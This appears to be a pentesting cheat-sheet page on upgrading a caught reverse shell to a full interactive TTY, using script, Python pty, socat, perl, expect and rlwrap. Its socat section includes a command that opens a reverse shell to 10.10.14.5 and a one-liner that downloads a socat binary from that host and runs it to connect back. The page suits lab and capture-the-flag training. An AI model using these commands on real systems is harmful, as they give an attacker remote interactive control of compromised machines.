Upgrade your shell to a full TTY
A freshly caught reverse shell dies on Ctrl+C and has no tab completion. Follow the steps in order; the "Your values" panel fills in your rows and columns (check them with stty size in another terminal).
With script
The most reliable method on Linux. script is almost always installed (util-linux / bsdutils package).
Step by step
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
In zsh type it exactly like this, on one line. You will not see what you type after Enter; that is expected.
reset xterm
If it asks "Terminal type?", type xterm.
export TERM=xterm-256color SHELL=bash
stty rows 44 columns 184
Before step 6
stty size
Python
Same as with script, but spawning the pseudo-terminal with the pty module. Use python if python3 is missing.
Step by step
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm-256color SHELL=bash
stty rows 44 columns 184
socat
Gives a full TTY from the start with no extra steps. You need socat on the target (you can upload a static binary).
Connection
socat file:`tty`,raw,echo=0 tcp-listen:443
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443
wget -q http://10.10.14.5/socat -O /tmp/socat && chmod +x /tmp/socat && /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443
Other cases
Without Python or script
perl -e 'exec "/bin/bash";'
expect -c 'spawn bash; interact'
Windows
rlwrap -cAr nc -lvnp 443
For a real TTY on Windows use ConPtyShell (see the reverse shell cheatsheet).
If something breaks
reset
tty; echo $TERM
No command matches.